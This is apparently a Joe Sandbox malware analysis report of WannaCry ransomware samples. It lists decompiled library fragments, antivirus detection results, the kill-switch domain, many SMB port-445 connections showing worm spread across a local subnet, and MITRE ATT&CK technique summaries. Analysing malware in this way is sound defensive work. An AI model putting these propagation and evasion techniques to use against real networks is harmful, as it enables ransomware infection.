Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Source: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	Virustotal: Detection: 9%			Perma Link
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	Virustotal: Detection: 9%			Perma Link

Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%
Source: C:\Windows\mssecsvr.exe	Metadefender: Detection: 85%	Perma Link
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 97%
Source: C:\Windows\tasksche.exe	Metadefender: Detection: 57%	Perma Link
Source: C:\Windows\tasksche.exe	ReversingLabs: Detection: 67%

Source: C:\Windows\eee.exe	Joe Sandbox ML: detected
Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/Wanna.ahqwc
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Wanna.ahqwc

Source: 6.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 6.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 4.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 6.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 4.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 6.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 4.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 4.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.yngie
Source: 4.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.ahqwc
Source: 6.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.ahqwc

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

